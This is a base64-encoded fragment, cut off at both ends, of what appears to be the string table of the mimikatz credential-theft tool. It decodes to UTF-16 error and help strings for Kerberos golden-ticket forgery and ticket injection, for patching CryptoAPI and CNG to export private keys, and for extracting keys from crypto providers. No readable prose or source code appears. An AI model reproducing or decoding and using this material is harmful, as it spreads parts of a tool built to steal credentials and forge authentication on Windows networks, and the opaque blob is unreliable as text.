FAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAdABrAHQAAABuAG8AYwBhAGMAaABlAAAAcgBjADQAAABkAGUAcwAAAGEAZQBzADIANQA2AAAAAABhAGUAcwAxADIAOAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAACAAIAAgACoAIABOAG8AQwBhAGMAaABlADoAIABlAHgAcABvAHIAdABlAGQAIAB0AGkAYwBrAGUAdAAgAG0AYQB5ACAAdgBhAHIAeQAgAHcAaQB0AGgAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAKACAAIAAgACoAIABUAEsAVAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABBAHQAIABsAGUAYQBzAHQAIAAvAHQAYQByAGcAZQB0ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAcgBlAHEAdQBpAHIAZQBkACAAKABlAGcAOgAgAC8AdABhAHIAZwBlAHQAOgBjAGkAZgBzAC8AcwBlAHIAdgBlAHIALgBsAGEAYgAuAGwAbwBjAGEAbAApAAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAlADAAOAB4AC0AbgBvAG4AYQBtAGUALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAawByAGIAdABnAHQAAAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAAAGkAZAAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAAGMAbABhAGkAbQBzAAAAAAByAG8AZABjAAAAAAAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgBHAHIAbwB1AHAAcwAgAEkAZAAgADoAIAAqAAAAJQB1ACAAAAAKAEUAeAB0AHIAYQAgAFMASQBEAHMAOgAgAAAACgBDAGwAYQBpAG0AcwAgACAAIAAgADoACgAAAAoAUwBlAHIAdgBpAGMAZQBLAGUAeQA6ACAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAAAAAAKAEcAbwBsAGQAZQBuACAAdABpAGMAawBlAHQAIABmAG8AcgAgACcAJQBzACAAQAAgACUAcwAnACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABzAHUAYgBtAGkAdAB0AGUAZAAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4ACgAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAQgBlAHIAQQBwAHAAXwBLAHIAYgBDAHIAZQBkACAAZQByAHIAbwByAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhAF8AcgBhAHcAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhAF8AcgBhAHcAIAA7ACAAQwBEAEwAbwBjAGEAdABlAEMAUwB5AHMAdABlAG0AIAA6ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAGMAbwB1AG4AdAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0ACAAbwByACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAAzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABBAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGYAaQBsAGUAbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAACwAAAA9AAAAfAAAAEMAbABhAGkAbQBzAFsAJQB1AF0ACgAAACAAIABTAG8AdQByAGMAZQBUAHkAcABlADoAIAAlAGgAdQAKAAAAAAAgACAARQBuAHQAcgBpAGUAcwBbACUAdQBdAAoAAAAAACAAIAAgACAASQBkADoAIAAlAHMACgAAACAAIAAgACAAWwBJAE4AVAA2ADQAIABdACAAJQBsAGwACgAAACAAIAAgACAAWwBVAEkATgBUADYANABdACAAJQB1AGwAbAAKAAAAAAAgACAAIAAgAFsAUwBUAFIASQBOAEcAXQAgACUAcwAKAAAAAAAgACAAIAAgAFsAQgBPAE8ATAAgACAAXQAgACUAMAAxADYAbABsAHgACgAAACAAIAAgACAAWwAhACUAaAB1ACEAXQAKAAAAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAKAAkAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAKAAkAIAAgACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAACgAJACAAIAAgACAAIAAAAAAAAAAKAAkAIAAgACAAVABpAGMAawBlAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAgADsAIABrAHYAbgBvACAAPQAgACUAdQAAAAAACQBbAC4ALgAuAF0AAAAAAG4AYQBtAGUAXwBjAGEAbgBvAG4AaQBjAGEAbABpAHoAZQAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAaQBuAHYAYQBsAGkAZAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAHAAcgBvAHgAeQAAAHAAcgBvAHgAaQBhAGIAbABlAAAAZgBvAHIAdwBhAHIAZABlAGQAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHR7e3R7aX10e2l9dHsAAAB7dHt7dHtpfXR7AAB9dHsAfX19fQAAAAB0e3t0e3t7dHsAAAB9fX19fX0AAH19fQB0e3t0ewAAAH10e3t0e2l9dHtvfX19dHsAAAAAfQAAAHR7e3t0e2l9dHsAAHt7dHtpfXR7b319fQAAAABvAAAAfX0AAHt0e2l9dHt7AAAAAHt0e2l9AAAAdHtpfQAAAAB0e299fQAAAHt0e2l9dHtvfX0AAG8AcABlAG4AAAAAAGMAbABvAHMAZQAAAGYAaQByAG0AdwBhAHIAZQAAAAAAaQBuAGYAbwAAAAAAYQBjAHIAAABBAEMAUgAgAE0AbwBkAHUAbABlAAAAAAB0AHIAYQBjAGUAAABPAHAAZQBuAGkAbgBnACAAQQBDAFIAIAAgADoAIAAAAEEAQwBTACAAQQBDAFIAMQAyADIAIAAwAAAAAABPAEsAIQAKAE8AcABlAG4AaQBuAGcAIABQAE4ANQAzADIAOgAgAAAATwBLACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBhAGMAcgBfAG8AcABlAG4AIAA7ACAAQQBsAHIAZQBhAGQAeQAgAG8AcABlAG4AZQBkACwAIABjAGwAbwBzAGUAIABpAHQAIABmAGkAcgBzAHQACgAAAEkAUwBPAC8ASQBFAEMAIAAxADQANAA0ADMAIABUAHkAcABlACAAQQAAAAAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAgAFQAeQBwAGUAIABCAAAAAABJAFMATwAgADEAOAAwADkAMgAAAEEAQwBSACAAZgBpAHIAbQB3AGEAcgBlADoAIAAlAC4AKgBTAAoAAAAAAAAAUABOADUAMwAyACAAYwBoAGkAcAAKACAAdgBlAHIAcwBpAG8AbgAgACAAIAAgADoAIAAwAHgAJQAwADIAeAAKACAAZgBpAHIAbQB3AGEAcgBlACAAIAAgADoAIAAlAGgAaAB1AC4AJQBoAGgAdQAKACAAcwB1AHAAcABvAHIAdAAgACAAIAAgADoAIAAAAAAAUgBGAFUAAABJAFMATwAvAEkARQBDACAAMQA0ADQANAAzACAAVAB5AHAAZQAgAEEAIAAtACAAMQAwADYAIABrAGIAcABzAAAARgBlAGwAaQBDAGEAIAAtACAAMgAxADIAIABrAGIAcABzAAAARgBlAGwAaQBDAGEAIAAtACAANAAyADQAIABrAGIAcABzAAAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAgAFQAeQBwAGUAIABCACAALQAgADEAMAA2ACAAawBiAHAAcwAAAEkAbgBuAG8AdgBpAHMAaQBvAG4AIABKAGUAdwBlAGwAIAAtACAAMQAwADYAIABrAGIAcABzAAAACgBUAGEAcgBnAGUAdAA6ACAAJQBoAGgAdQAgACgAMAB4ACUAMAAyAHgAIAAtACAAJQBzACkACgAAAAAATgBPAFQAIAAAAAAAIAAgAFMARQBOAFMAXwBSAEUAUwA6ACAAJQAwADIAeAAgACUAMAAyAHgACgAgACAAUwBFAEwAXwBSAEUAUwAgADoAIAAlADAAMgB4AAoAIAAgACAAIABVAEkARAAgACUAcwBjAG8AbQBwAGwAZQB0AGUACgAgACAAIAAgAFAASQBDAEMAIAAlAHMAYwBvAG0AcABsAGkAYQBuAHQAIAB3AGkAdABoACAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAtADQACgAgACAAIAAgAFAASQBDAEMAIAAlAHMAYwBvAG0AcABsAGkAYQBuAHQAIAB3AGkAdABoACAASQBTAE8ALwBJAEUAQwAgADEAOAAwADkAMgAgACgATgBGAEMAKQAKAAAAAAAgACAATgBGAEMASQBEADEAIAAgADoAIAAAAAAAIAAgAEEAVABTACAAIAAgACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYQBjAHIAXwBpAG4AZgBvACAAOwAgAE8AbgBsAHkAIABCAHIAVAB5ACAAPQAgADAAIAAoAFQAeQBwAGUAQQApACAAYQB0ACAAdABoAGkAcwAgAHQAaQBtAGUACgAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAdABlAHMAdAAAAAAAYgB1AHMAeQBsAGkAZwBoAHQAAABCAHUAcwB5AEwAaQBnAGgAdAAgAE0AbwBkAHUAbABlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAG8AZgBmACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAAAAAEkATgBQAFUAVABFAFYARQBOAFQAAAAAAEwASQBHAEgAVAAAAFMATwBVAE4ARAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAABCAHUAcwB5AEwAaQBnAGgAdAAgAGQAZQB0AGUAYwB0AGUAZAAKAAAAAAAAAAoAWwAlADMAdQBdACAAJQBzAAoAIAAgAFYAZQBuAGQAbwByADoAIAAwAHgAJQAwADQAeAAsACAAUAByAG8AZAB1AGMAdAA6ACAAMAB4ACUAMAA0AHgALAAgAFYAZQByAHMAaQBvAG4AOgAgADAAeAAlADAANAB4AAoAIAAgAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAA6ACAAJQBzAAoAIAAgAEMAYQBwAGEAYgBpAGwAaQB0AGkAZQBzACAAIAA6ACAAMAB4ACUAMAAyAHgAIAAoACAAAAAlAHMALAAgAAAAAAAgACAARABlAHYAaQBjAGUAIABIAGEAbgBkAGwAZQA6ACAAMAB4ACUAcAAKAAAAAAAgACAAIAAgAFMAdABhAHQAdQBzACAAIAAgACAAIAA6ACAAMAB4ACUAMAAyAHgACgAAAAAAIAAgACAAIABQAHIAbwBkAHUAYwB0AEkAZAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAEMAbwBzAHQAdQBtAGUAcgBJAGQAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABTAGUAcgBpAGEAbAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ASQBEACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBmAGcAXwBEAGEAdABlACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABzAHcAcgBlAGwAZQBhAHMAZQAgACAAOgAgACUAUwAKAAAAAAAgACAASwBlAGUAcABBAGwAaQB2AGUAIABUAGgAcgBlAGEAZAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAgACAAVwBvAHIAawBlAHIAIABUAGgAcgBlAGEAZAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHMAdABhAHQAdQBzACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABbACUAMwB1AF0AIAAlAHMAIAAoACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAGMAbwBsAG8AcgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAGkAbgBnAGwAZQAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAcAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAABzAHQAbwByAGUAcwAAAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABzAHQAbwByAGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAABrAGUAeQBzAAAAAAAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAABzAGMAAAAAAEwAaQBzAHQAIABzAG0AYQByAHQAYwBhAHIAZAAgAHIAZQBhAGQAZQByAHMAAAAAAAAAAABIAGEAcwBoACAAYQAgAHAAYQBzAHMAdwBvAHIAZAAgAHcAaQB0AGgAIABvAHAAdABpAG8AbgBhAGwAIAB1AHMAZQByAG4AYQBtAGUAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABXAGkAbgBkAG8AdwBzACAAUwB5AHMAdABlAG0AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGYAaQBsAGUALAAgAFQATwBEAE8AOgByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlACkAAABzAGMAYQB1AHQAaAAAAAAAQwByAGUAYQB0AGUAIABhACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAYwBlAHIAdABpAHQAaQBmAGEAdABlACAAKABzAG0AYQByAHQAYwBhAHIAZAAgAGwAaQBrAGUAKQAgAGYAcgBvAG0AIABhACAAQwBBAAAAAABjAGUAcgB0AHQAbwBoAHcAAAAAAAAAAABUAHIAeQAgAHQAbwAgAGUAeABwAG8AcgB0ACAAYQAgAHMAbwBmAHQAdwBhAHIAZQAgAEMAQQAgAHQAbwAgAGEAIABjAHIAeQBwAHQAbwAgACgAdgBpAHIAdAB1AGEAbAApAGgAYQByAGQAdwBhAHIAZQAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAGUAeAB0AHIAYQBjAHQAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAARQB4AHQAcgBhAGMAdAAgAGsAZQB5AHMAIABmAHIAbwBtACAAQwBBAFAASQAgAFIAUwBBAC8AQQBFAFMAIABwAHIAbwB2AGkAZABlAHIAAAAAAGsAdQB0AGkAbAAAAHQAcABtAGkAbgBmAG8AAABjAHIAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAHIAcwBhAGUAbgBoAAAAAABkAHMAcwBlAG4AaAAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUALQAxADMAcwAgACgAJQAyAHUAKQAAAAAAIAAlAGMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMAcgB5AHA